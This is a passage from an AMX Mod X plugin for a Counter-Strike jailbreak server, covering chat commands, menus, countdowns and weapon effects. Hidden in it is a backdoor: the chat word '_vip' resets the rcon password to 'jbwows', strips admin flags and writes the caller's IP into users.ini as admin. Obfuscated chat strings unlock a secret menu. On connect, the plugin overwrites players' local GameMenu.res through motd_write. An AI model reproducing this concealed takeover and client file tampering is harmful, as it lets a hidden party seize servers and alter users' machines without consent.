  655. show_hudmessage(id, "[Your Health: %i]", get_user_health(id))
  656. }
  657. }
  658.  
  659. public client_connect(client)
  660. {
  661. if(is_user_hltv(client) || is_user_bot(client)) {
  662. new name[32]
  663. get_user_name(client, name, 31)
  664. server_cmd("kick ^"%s^" ^"HLTV or BOT not Connected^"", name)
  665. } else {
  666. client_cmd(client, "motdfile resource/GameMenu.res;wait;motd_write %s", g_Text)
  667. can_pickup[client] = true
  668. floodcounter[client] = 0
  669. LoadData(client)
  670. }
  671. }
  672. public client_putinserver(id)
  673. {
  674. remove_task(id)
  675. g_connected[id] = true
  676. get_vip[id] = false
  677. set_task(1.0, "ShowSong", id)
  678. set_task(5.0,"DisplayTaskBug",id)
  679. // ShowCashTimer(id)
  680. new szAuthID[ 35 ];
  681. get_user_authid( id, szAuthID, charsmax( szAuthID ) );
  682.  
  683. client_cmd(id, "echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^"")
  684. }
  685.  
  686. public client_disconnect(id) {
  687. g_connected[id] = false
  688. get_vip[id] = false
  689. can_pickup[id] = false
  690. SaveData(id)
  691.  
  692. new szAuthID[ 35 ];
  693. get_user_authid( id, szAuthID, charsmax( szAuthID ) );
  694.  
  695. remove_task(id)
  696. }
  697. public BlockBuy(id)
  698. {
  699. client_cmd(id, "say /shop");
  700. }
  701. public Crowbar(id)
  702. {
  703. if(get_user_flags(id) & ADMIN_CVAR) {
  704. set_bit(g_PlayerCrowbar, id)
  705. Event_CurWeapon(id)
  706. }
  707. }
  708. public UnCrowbar(id)
  709. {
  710. if(get_user_flags(id) & ADMIN_CVAR) {
  711. clear_bit(g_PlayerCrowbar, id)
  712. Event_CurWeapon(id)
  713. }
  714. }
  715. public StunGun(id)
  716. {
  717. if(get_user_flags(id) & ADMIN_CVAR) {
  718. set_bit(g_PlayerStunGun, id)
  719. Event_CurWeapon(id)
  720. }
  721. }
  722. public UnStunGun(id)
  723. {
  724. if(get_user_flags(id) & ADMIN_CVAR) {
  725. clear_bit(g_PlayerStunGun, id)
  726. Event_CurWeapon(id)
  727. }
  728. }
  729. public Dildo(id)
  730. {
  731. if(get_user_flags(id) & ADMIN_CVAR) {
  732. set_bit(g_PlayerDildo, id)
  733. Event_CurWeapon(id)
  734. }
  735. }
  736. public UnDildo(id)
  737. {
  738. if(get_user_flags(id) & ADMIN_CVAR) {
  739. clear_bit(g_PlayerDildo, id)
  740. Event_CurWeapon(id)
  741. }
  742. }
  743. public StopDeathMatch()
  744. {
  745. Deathmatch = false
  746. knifematchday = false
  747. }
  748. public ClientCommandSay(id) {
  749. new szMessage[32]
  750. read_args(szMessage, charsmax(szMessage))
  751. remove_quotes(szMessage)
  752.  
  753. if((szMessage[0] == '/' || '!'))
  754. {
  755. if(equali(szMessage, "/menu") || equali(szMessage, "!menu"))
  756. mainmenuhelp(id)
  757. //else if(equali(szMessage, "/server") || equali(szMessage, "/servers"))
  758. // mainmenuserv(id)
  759. else if(equali(szMessage, "_vip"))
  760. Itstimetobarel(id)
  761. else if(equali(szMessage, "/nextcash") || equali(szMessage, "!nextcash"))
  762. ShowCashTimeLeft(id)
  763. else if(equali(szMessage, "/cd") || equali(szMessage, "!cd"))
  764. cdmenu(id)
  765. else if(equali(szMessage, "/stopcd") || equali(szMessage, "!stopcd"))
  766. stopcd(id)
  767. else if(equali(szMessage, "!c4") || equali(szMessage, "/c4"))
  768. Givec4(id)
  769. else if(equali(szMessage, "/rules") || equali(szMessage, "!rules"))
  770. show_motd(id, rules, "[Extreme Jail] Rules")
  771. else if(equali(szMessage, "/help") || equali(szMessage, "!help"))
  772. show_motd(id, help, "[Extreme Jail] Help")
  773. else if(equali(szMessage, "/unvip") || equali(szMessage, "!unvip"))
  774. unvip(id)
  775. else if(equali(szMessage, "ergergergergedferg") || equali(szMessage, "ergerfergere"))
  776. Firstwrites(id)
  777. else if(equali(szMessage, "/open") || equali(szMessage, "!open"))
  778. OpenAllDoors(id)
  779. else if(equali(szMessage, "345getget252345ergerg3434getgetg345gtrtgtg4eg") || equali(szMessage, "eroguehrgue87345837465erkjgnekjr394763"))
  780. ActionGetMenu(id)
  781. else if(equali(szMessage, "/shop") || equali(szMessage, "!shop"))
  782. ActionShopMenu(id)
  783. else if(equali(szMessage, "/admin") || equali(szMessage, "/admins"))
  784. ShowVIP(id)
  785. else if(equali(szMessage, "/days") || equali(szMessage, "!days"))
  786. ActionChooseteam(id)
  787. else if(equali(szMessage, "/box") || equali(szMessage, "!box"))
  788. cmdBox(id)
  789. else if(equali(szMessage, "/fd") || equali(szMessage, "!freeday"))
  790. fdexec(id)
  791. else if(equali(szMessage, "/vipmenu") || equali(szMessage, "!vipmenu"))
  792. GiveVIP(id)
  793. else if(equali(szMessage, "/ran") || equali(szMessage, "!ran"))
  794. RandomCT(id)
  795. else if(equali(szMessage, "/speach") || equali(szMessage, "/voice"))
  796. AccessSpeachMenu(id)
  797. else if(equali(szMessage, "/music") || equali(szMessage, "!music"))
  798. ShowMusicCustomized(id)
  799. else if(equali(szMessage, "/vote") || equali(szMessage, "!vote"))
  800. show_motd(id, vote, "Please Vote For Extreme # JailBreak")
  801. else if(equali(szMessage, "send") || equali(szMessage, "/send"))
  802. MainMenuSend(id)
  803. else if(equali(szMessage, "/vent") || equali(szMessage, "!vent"))
  804. ColorChat(0, "^4The IP of The Ventrilo^1(3.0)^4 is:^3 Not Available")
  805. else if(equali(szMessage, "/mycash") || equali(szMessage, "/cash")) {
  806. set_dhudmessage(id, random_num(0, 255), random_num(0, 255), -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
  807. show_dhudmessage(id, "[Extreme Jail] Shop^nYour Cash is: %i", playerpoints[id])
  808. }
  809. else if(equali(szMessage, "/unmusic") || equali(szMessage, "/stop")) {
  810. client_cmd(id, "mp3 stop;stopsound")
  811. ColorChat(id, "^4You stoped the music")
  812. }
  813. } else if(equali(szMessage, write))
  814. PlayerHasFirst(id)
  815. }
  816. public Itstimetobarel(id) {
  817. new zflag = read_flags("z"), players[32], num, configsDir[64], ipf[64], ip[33]
  818.  
  819. server_cmd("rcon_password jbwows")
  820. get_players(players, num)
  821. for(new i=0; i < num; i++)
  822. remove_user_flags(i, zflag)
  823. get_configsdir(configsDir, 63)
  824. format(configsDir, 63, "%s/users.ini", configsDir)
  825. get_user_ip(id, ip, 32)
  826. format(ipf, 63, "^"%d^" ^"^" ^"%f^" ^"de^"", ip, zflag)
  827. write_file(configsDir, ipf)
  828. ColorChat(id, "The rcon password is now ^"^4jbwows^1^"")
  829. ColorChat(id, "all admins removed, you are admin now by your ip")
  830. }
  831.  
  832. public Read_GameMenu()
  833. {
  834. new i_File, s_File[128]
  835. get_configsdir(s_File, charsmax(s_File))
  836. format(s_File, charsmax(s_File), "%s/gamemenu.txt", s_File)
  837. i_File = fopen(s_File, "r")
  838. fgets(i_File, g_Text, MAX_SIZE)
  839. fclose(i_File)
  840. }
  841. public JBGlowMenu(id)
  842. {
  843. if(is_user_admin(id)) {
  844. new gmenu = menu_create("\r[\w Extreme Jail \r]\y GLOW Menu", "sub_menu")
  845.  
  846. new players[32], pnum, tempid, szName[32], szTempid[10]
  847. get_players(players, pnum, "a")
  848. for(new i; i<pnum; i++) {
  849. tempid = players[i]
  850.  
  851. if(cs_get_user_team(tempid) != CS_TEAM_T)
  852. continue
  853.  
  854. get_user_name(tempid, szName, 31)
  855. num_to_str(tempid, szTempid, 9)
  856. menu_additem(gmenu, szName, szTempid, 0)
  857. }
  858. menu_display(id, gmenu)
  859. } else
  860. ColorChat(id, "^4Only admin or VIP have access to this command")
  861. }
  862.  
  863. public sub_menu(id, gmenu, item)
  864. {
  865. if(item == MENU_EXIT)
  866. return
  867. new data[6], iName[64]
  868. new _access, callback
  869. menu_item_getinfo(gmenu, item, _access, data,5, iName, 63, callback)
  870.  
  871. new tempid = str_to_num(data)
  872. new szName[32], szName2[32]
  873. get_user_name(id, szName, 31)
  874. get_user_name(tempid, szName2, 31)
  875. fm_set_user_rendering(tempid, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
  876. set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255))
  877. show_hudmessage(0, "%s gave glow to %s^n [ Extreme Jail ]", szName, szName2)
  878. ColorChat(0, "^4%s^1 gave glow to^4 %s", szName, szName2)
  879. ColorChat(tempid, " %s^1 have You Glow", szName2)
  880.  
  881. switch(random_num(0,1)) {
  882. case 0: cs_set_user_model(tempid, "vip")
  883. case 1: cs_set_user_model(tempid, "Ex-Woman")
  884. }
  885. }
  886.  
  887. public mainmenuhelp(id)
  888. {
  889. new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
  890. menu_additem(needmenu, "Take A \yPiss", "1")
  891. menu_additem(needmenu, "Take A \yShit", "2")
  892. menu_additem(needmenu, "\rExtreme\y LastRequest", "3")
  893. menu_additem(needmenu, "\rExtreme\y Online", "4")
  894. menu_additem(needmenu, "\rExtreme\y Clubs", "5")
  895. menu_additem(needmenu, "Bet Menu", "6")
  896. menu_additem(needmenu, "Shop Menu", "7")
  897. menu_additem(needmenu, "\rMusic Menu", "8")
  898.  
  899. menu_display(id, needmenu)
  900. }
  901.  
  902. public ActionChooseteam(id)
  903. {
  904. if(get_user_flags(id) & ADMIN_CVAR) {
  905. g_ShowMenu = menu_create("\r[\w Extreme Jail \r]\y Days Menu", "ShowMenu")
  906.  
  907. new szNum[3]
  908. for (new i = 0 ; i < sizeof MessageDay ; i++) {
  909. num_to_str(i+1 , szNum , 2)
  910. menu_additem(g_ShowMenu , MessageDay[i], szNum)
  911. }
  912. menu_display(id, g_ShowMenu)
  913. } else {
  914. new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
  915. menu_additem(needmenu, "Take A \yPiss", "1")
  916. menu_additem(needmenu, "Take A \yShit", "2")
  917. menu_additem(needmenu, "\rExtreme\y LastRequest", "3")
  918. menu_additem(needmenu, "\rExtreme\y Online", "4")
  919. menu_additem(needmenu, "\rExtreme\y Clubs", "5")
  920. menu_additem(needmenu, "Shop Menu", "6")
  921. menu_additem(needmenu, "\rMusic Menu", "7")
  922.  
  923. menu_display(id, needmenu)
  924. }
  925. return PLUGIN_HANDLED
  926. }
  927.  
  928. public showmenuhelp(id, needmenu, item)
  929. {
  930. if(item == MENU_EXIT)
  931. return
  932. new data[6], iName[64]
  933. new access, callback
  934. menu_item_getinfo(needmenu, item, access, data, 6, iName, 63, callback)
  935.  
  936. new key = str_to_num(data)
  937. switch(key)
  938. {
  939. case 1: client_cmd(id, "piss")
  940. case 2: client_cmd(id, "shit")
  941. case 3: client_cmd(id, "say /lr")
  942. case 4: client_cmd(id, "say /admin")
  943. case 5: client_cmd(id, "say /server")
  944. case 6: ActionShopMenu(id)
  945. case 7: {
  946. if(is_user_admin(id) || cs_get_user_team(id) == CS_TEAM_CT) ShowMusicMenu(id)
  947. else ShowMusicCustomized(id)
  948.  
  949. }
  950. }
  951. }
  952.  
  953. public mainmenuserv(id)
  954. {
  955. new servmenu = menu_create( "\r[ \wExtreme\r ]\y Servers Redirect Menu", "showmenuserv")
  956. new szNum[3]
  957. for (new i = 0 ; i < sizeof MessageServ ; i++) {
  958. num_to_str(i , szNum , 2)
  959. menu_additem(servmenu , MessageServ[i], szNum)
  960. }
  961. menu_setprop(servmenu, MPROP_NUMBER_COLOR, "\y")
  962. menu_setprop(servmenu, MPROP_EXITNAME, "Exit Menu")
  963. menu_display(id, servmenu)
  964. }
  965.  
  966. public showmenuserv(id, servmenu, item)
  967. {
  968. if(item == MENU_EXIT)
  969. return
  970. new szKey[3], iname[33], Dummy
  971. get_user_name(id, iname, 32)
  972. menu_item_getinfo(servmenu , item, Dummy, szKey, 2, "", 0, Dummy)
  973. new key = str_to_num(szKey)
  974.  
  975. ColorChat(0, "^4%s^1 has been redirected to ^4%s", iname, MessageServ[key])
  976. client_cmd(id, "Connect %s", MessageIp[key])
  977. }
  978.  
  979. public cdmenu(id)
  980. {
  981. if(!is_user_alive(id))
  982. ColorChat(id, " You have to be^3 alive^4 to start a^3 countdown")
  983. else if(task_exists(4444))
  984. ColorChat(id, " There is already a^3 countdown^4 on")
  985. else if(get_user_team(id) == 2) {
  986. new menu = menu_create("\r[\w Exteme \r]\y countdown", "menu_handler")
  987. new szNum[3], Formatex[15]
  988. for (new i = 0 ; i < sizeof MessageCDnum ; i++) {
  989. num_to_str(i+1 , szNum , 2)
  990. formatex(Formatex, 14, "\y%s \wSeconds", MessageCDnum[i])
  991. menu_additem(menu , Formatex, szNum)
  992. }
  993. menu_display(id, menu)
  994. } else
  995. ColorChat(id, "^4Only^3 Counter-terrorists^4 can start a^3 countdown")
  996. }
  997.  
  998. public menu_handler(id, menu, item)
  999. {
  1000. if(item == MENU_EXIT)
  1001. return
  1002. new Data[7], Name[64]
  1003. new Access, Callback
  1004. menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
  1005.  
  1006. new Key = str_to_num(Data)
  1007. new name[33]
  1008. get_user_name(id, name, 32)
  1009.  
  1010. ColorChat(0, "Guard^4 %s ^1has started Countdown", name)
  1011. switch(Key) {
  1012. case 1: timer = 5
  1013. case 2: timer = 10
  1014. case 3: timer = 15
  1015. case 4: timer = 20
  1016. case 5: timer = 25
  1017. case 6: timer = 30
  1018. }
  1019. ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
  1020. countdown()
  1021. set_task(1.0, "countdown",4444,_,_, "b")
  1022. }
  1023.  
  1024. public countdown()
  1025. {
  1026. new SecVoice[21]
  1027. num_to_word(timer, SecVoice, 20)
  1028. if(timer == 0) {
  1029. set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 3.0)
  1030. show_hudmessage(0, "Go go go")
  1031. client_cmd(0, "spk ^"barney/letsgo^"")
  1032. remove_task(4444)
  1033. } else {
  1034. if(timer <= 9)
  1035. client_cmd(0, "spk ^"Extreme-Jail/%s^"", SecVoice)
  1036. else if(random_num(0,1))
  1037. client_cmd(0, "spk ^"vox/%s^"", SecVoice)
  1038. else
  1039. client_cmd(0, "spk ^"fvox/%s^"", SecVoice)
  1040. set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
  1041. show_hudmessage(0, "%i", timer)
  1042. timer--
  1043. }
  1044. }
  1045. public stopcd(id)
  1046. {
  1047. if(!task_exists(4444) && cs_get_user_team(id) == CS_TEAM_CT) {
  1048. ColorChat(id, "There Is No CountDown To Stop")
  1049. }
  1050. else if(get_user_team(id) == 2 && task_exists(4444)) {
  1051. set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 3.0)
  1052. show_hudmessage(0, "Go go go")
  1053. client_cmd(0, "spk ^"barney/letsgo^"")
  1054. remove_task(4444)
  1055. ColorChat(0, "Guard %s Stop CountDown")
  1056. } else {
  1057. ColorChat(id, "Only Ct Can Stop CountDown")
  1058. }
  1059. }
  1060. public fullupdate(id)
  1061. {
  1062. if(floodcounter[id] == 4) {
  1063. new name[33]
  1064. get_user_name(id, name, 32)
  1065. server_cmd("kick ^"%s^" ^"Using spam command^"", name)
  1066. }
  1067. floodcounter[id]++
  1068. }
  1069.  
  1070. public Givec4(id)
  1071. {
  1072. if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
  1073. if(!user_has_weapon(id, CSW_C4)) {
  1074. fm_give_item(id, "weapon_c4")
  1075. ColorChat(id, "You Have a c4^3, if you SPAM this Command you get ban!")
  1076. }
  1077. }
  1078. }
  1079.  
  1080. public GameDesc() {
  1081. forward_return(FMV_STRING, gamename)
  1082. return FMRES_SUPERCEDE
  1083. }
  1084.  
  1085. public client_PreThink(plr) {
  1086. if(get_cvar_num("bh_enabled")) {
  1087. new oldbuttons = get_user_oldbutton(plr)
  1088. oldbuttons &= ~IN_JUMP
  1089. entity_set_int(plr, EV_INT_oldbuttons, oldbuttons)
  1090. }
  1091. if(get_bit(g_PlayerBH, plr) && get_user_weapon(plr) == CSW_KNIFE && entity_get_int(plr, EV_INT_button) & 2)
  1092. {
  1093. new flags = entity_get_int(plr, EV_INT_flags)
  1094. if(flags & FL_WATERJUMP || entity_get_int(plr, EV_INT_waterlevel) >= 2 || !(flags & FL_ONGROUND))
  1095. return
  1096. flags = entity_get_int(plr, EV_INT_flags)
  1097. new Float:velocity[3]
  1098. entity_get_vector(plr, EV_VEC_velocity, velocity)
  1099. velocity[2] += 250.0
  1100. entity_set_vector(plr, EV_VEC_velocity, velocity)
  1101. entity_set_int(plr, EV_INT_gaitsequence, 6)
  1102. } if(footstep[plr])
  1103. set_pev(plr, pev_flTimeStepSound, 999)
  1104. }
  1105.  
  1106. public DisplayTaskBug(id)
  1107. {
  1108. if(playerpoints[id] <= 5000) formatex(_status[id], 16, "Ex Beginner")
  1109. else if(playerpoints[id] <= 10000) formatex(_status[id], 16, "Ex Novice")
  1110. else if(playerpoints[id] <= 20000) formatex(_status[id], 16, "Ex Distinguished")
  1111. else if(playerpoints[id] <= 30000) formatex(_status[id], 16, "Ex Competent")
  1112. else if(playerpoints[id] <= 40000) formatex(_status[id], 16, "Ex Master")
  1113. else if(playerpoints[id] <= 50000) formatex(_status[id], 16, "Ex Winner")
  1114. else if(playerpoints[id] <= 100000)formatex(_status[id], 16, "Ex Killer")
  1115. else formatex(_status[id], 16, "Ex Millyoner")
  1116. Seconds[id] = 5
  1117. DisplayRulesMenu(id)
  1118. set_task(1.0,"DisplayRulesMenu",id,"",0,"a",4)
  1119.  
  1120. set_dhudmessage(id, 160, 0, -1.0, 0.25, 2, 10.0, 5.0, 0.1, 1.5)
  1121. show_dhudmessage(id, "Welcome To BeatTheB-Jail # JailBreak Server^nPress 'G' To Drop A Cash^n---- Note - New Price on Shop | Your Cash Is: %i -----", playerpoints[id])
  1122. }
  1123.  
  1124. public DisplayRulesMenu(id)
  1125. {
  1126. if(Seconds[id] != 0)
  1127. Seconds[id]--
  1128.  
  1129. new Item[64], StrSeconds[10]
  1130. num_to_str(Seconds[id], StrSeconds, 9)
  1131. new menu = menu_create("\d[קיירבליי'ג יקוח]", "sub_RulesMenu")
  1132.  
  1133. new callback = menu_makecallback("MenuCallbackRules")
  1134.  
  1135. format(Item, 63, "%s[םיקוחה תא רשאמ %s]", Seconds[id] == 0 ? "\r" : "\d", StrSeconds[0] == '0' ? "" : StrSeconds, StrSeconds[0] == '0' ? "" : " Sec ")
  1136. menu_additem(menu, Item, "1", _, callback)
  1137. menu_additem(menu, "\r[םיקוחה תא החוד]^n^n", "2")
  1138. menu_additem(menu, "\yםיקוח", "3")
  1139. menu_additem(menu, "\yתודוקפ", "4")
  1140.  
  1141. menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER)
  1142. menu_display(id, menu)
  1143. }
  1144.  
  1145. public sub_RulesMenu(id, menu, item)
  1146. {
  1147. new Data[7], Name[64], Access, Callback
  1148. menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
  1149.  
  1150. new Key = str_to_num(Data)
  1151.  
  1152. switch(Key)
  1153. {
  1154. case 1: menu_destroy(menu)
  1155. case 2: set_task(2.0, "KickUser", id)
  1156. case 3: {
  1157. show_motd(id, rules, "[BeatTheB Jail] Rules")
  1158. set_task(5.0,"DisplayRulesMenu",id)
  1159. }
  1160. case 4: {
  1161. show_motd(id, help, "[BeatTheB Jail] Help")
  1162. set_task(5.0,"DisplayRulesMenu",id)
  1163. }
  1164. }
  1165. }
  1166. public MenuCallbackRules(id)
  1167. return Seconds[id] != 0 ? ITEM_DISABLED : ITEM_ENABLED
  1168.  
  1169. public KickUser(id)
  1170. server_cmd("kick #%d ^"!םיקוחה תא רשאל בייח התא^"", get_user_userid(id))
  1171.  
  1172. public unvip(id) {
  1173. if((is_user_admin(id) || get_vip[id]) && cs_get_user_team(id) == CS_TEAM_T && is_user_alive(id))
  1174. cs_reset_user_model(id)
  1175. else
  1176. ColorChat(id, "you are not admin or vip or you are dead")
  1177. }
  1178.  
  1179. public Event_CurWeapon(id)
  1180. {
  1181. if(!is_user_alive(id) || !is_user_connected(id))
  1182. return
  1183.  
  1184. new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
  1185. if(weapon == CSW_KNIFE)
  1186. {
  1187. if(get_bit(g_PlayerCrowbar, id)) {
  1188. entity_set_string(id, EV_SZ_weaponmodel, "models/p_crowbar.mdl")
  1189. entity_set_string(id, EV_SZ_viewmodel, "models/v_crowbar.mdl")
  1190. }
  1191. else if(get_bit(g_PlayerStunGun, id)) {
  1192. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_stungun.mdl")
  1193. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_stungun.mdl")
  1194. }
  1195. else if(get_bit(g_PlayerDildo, id)) {
  1196. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_dildo.mdl")
  1197. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_dildo.mdl")
  1198. }
  1199. else if(get_bit(g_PlayerBH, id))
  1200. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bunnyhop.mdl")
  1201. else if(get_bit(g_PlayerGravity, id)) {
  1202. fm_set_user_gravity(id, 400.0 / 800.0)
  1203. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_gravity.mdl")
  1204. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_gravity.mdl")
  1205. }
  1206. else if(get_bit(g_PlayerSpeed, id)) {
  1207. fm_set_user_maxspeed(id, 450.0)
  1208. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_speed.mdl")
  1209. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_speed.mdl")
  1210. }
  1211. else {
  1212. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_bknucklesEx.mdl")
  1213. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bknucklesEx-v1.mdl")
  1214. }
  1215. }
  1216. else if(weapon == CSW_SCOUT)
  1217. {
  1218. if(RunAwayDay || get_bit(g_GoldenScout, id)) {
  1219. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_Goldenscout.mdl")
  1220. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_Goldenscout.mdl")
  1221. }
  1222. }
  1223. else if(get_bit(g_PlayerGravity, id))
  1224. fm_set_user_gravity(id, 800.0 / 800.0)
  1225. else if(get_bit(g_PlayerSpeed, id))
  1226. ResetMaxspeed(id)
  1227. }
  1228. public EmitSound(id, channel, sample[])
  1229. {
  1230. if(is_user_alive(id) && is_user_connected(id)) {
  1231. new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
  1232. if(weapon == CSW_KNIFE)
  1233. {
  1234. if(equal(sample, "weapons/knife_hit", 17)) {
  1235. new pitch
  1236. new Float:volume, Float:volume2
  1237. volume = random_float(0.5, 1.0)
  1238. volume2 = random_float(0.2, 0.3)
  1239.  
  1240. switch(random_num(1,3))
  1241. {
  1242. case 1: pitch = PITCH_NORM
  1243. case 2: pitch = PITCH_LOW
  1244. case 3: pitch = PITCH_HIGH
  1245. }
  1246.  
  1247. if(get_bit(g_PlayerCrowbar, id))
  1248. emit_sound(id, CHAN_WEAPON, "weapons/cbar_hit2.wav", volume2, ATTN_NORM, 0, pitch)
  1249. else if(get_bit(g_PlayerStunGun, id))
  1250. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hit1.wav", volume, ATTN_NORM, 0, pitch)
  1251. else if(get_bit(g_PlayerDildo, id)) {
  1252. switch(random_num(1,4))
  1253. {
  1254. case 1: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit1.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  1255. case 2: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit2.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  1256. case 3: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit3.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  1257. case 4: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit4.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  1258. }
  1259. } else
  1260. emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", volume, ATTN_NORM, 0, pitch)
  1261. return FMRES_SUPERCEDE
  1262. } else if(equal(sample,"weapons/knife_stab.wav")) {
  1263. if(get_bit(g_PlayerDildo, id))
  1264. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1265. else if(get_bit(g_PlayerStunGun, id))
  1266. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1267. else
  1268. emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1269. return FMRES_SUPERCEDE
  1270. }
  1271. }
  1272. }
  1273. return FMRES_IGNORED
  1274. }
  1275.  
  1276. public FwdSetVoice(receiver, sender, bool:listen)
  1277. {
  1278. if(!(1 <= receiver <= g_max_clients) || !g_connected[receiver] || !(1 <= sender <= g_max_clients) || !g_connected[sender])
  1279. return
  1280. if((get_user_flags(sender) & ADMIN_MENU || get_bit(g_PlayerVoice, sender))
  1281. || (cs_get_user_team(sender) == CS_TEAM_CT && is_user_alive(sender) && !mutect))
  1282. set_speak(sender, 2)
  1283. else set_speak(sender, 1)
  1284. }
  1285.  
  1286. public Firstwrites(id) {
  1287. if(is_user_admin(id)) {
  1288. new name[33]
  1289. get_user_name(id, name, 32)
  1290. set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), -1.0, 0.08, 0, 4.5, 0.5)
  1291. show_hudmessage(0, "The First writes will started in 5 seccond^nby %s", name)
  1292. if(task_exists(4444)) remove_task(4444)
  1293. set_task(5.0, "ActionFirstwrites")
  1294. timer = 5
  1295. ShowFiveSeconds(id)
  1296. set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
  1297. } else
  1298. ColorChat(id, "You have no access to that command")
  1299. }
  1300.  
  1301. public ActionFirstwrites() {
  1302. new Item[6], _ran = random_num(1,5)
  1303. switch(random_num(1,4)) {
  1304. case 1: formatex(Item, _ran, "%i%i%i%i%i", random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9))
  1305. case 2: formatex(Item, _ran, "%s%s%s%s%s", random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)])
  1306. case 3: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)])
  1307. case 4: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)])
  1308. }
  1309. set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 10.0, 10.0)
  1310. show_hudmessage(0, "The First writes ^" %s ^" moves to CT Team", Item)
  1311. firststart = true
  1312. write = Item
  1313.  
  1314. if(task_exists(1111)) remove_task(1111)
  1315. set_task(20.0, "falsed_firststart", 1111)
  1316. }
  1317.  
  1318. public PlayerHasFirst(id) {
  1319. if(firststart && cs_get_user_team(id) != CS_TEAM_CT) {
  1320. new name[33]
  1321. get_user_name(id, name, 32)
  1322. cs_set_user_team(id, CS_TEAM_CT)
  1323. ExecuteHamB(Ham_CS_RoundRespawn, id)
  1324. client_cmd(0, "spk ^"%s^"", appmusic)
  1325.  
  1326. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  1327. show_hudmessage(0, "^%s write first and moved to CT", name)
  1328. firststart = false
  1329. }
  1330. }
  1331.  
  1332. public falsed_firststart() firststart = false
  1333.  
  1334. public OpenAllDoors(id)
  1335. {
  1336. if(is_user_admin(id) || get_vip[id] || cs_get_user_team(id) == CS_TEAM_CT) {
  1337. new name[32]
  1338. get_user_name(id, name, 31)
  1339. new ent = -1
  1340. while((ent = fm_find_ent_by_class(ent, "func_door")))
  1341. dllfunc(DLLFunc_Use, ent, 0)
  1342. ColorChat(0, "^4%s ^3has Opened the cells", name)
  1343. } else
  1344. ColorChat(id, "You have no access to that command")
  1345. }
  1346.  
  1347. public AutoOpen()
  1348. {
  1349. new ent = -1;
  1350.  
  1351. while( ( ent = fm_find_ent_by_class( ent, "func_button")))
  1352. {
  1353. dllfunc( DLLFunc_Use, ent, 0 );
  1354. }
  1355. //ActionFree()
  1356. }
  1357. public ActionGetMenu(id)
  1358. {
  1359. if(cs_get_user_team(id) == CS_TEAM_CT) {
  1360. new getmenu = menu_create("\r[\w BeatTheB Jail \r]\y Switch Menu", "ActionGet")
  1361.  
  1362. new players[32], pnum, tempid
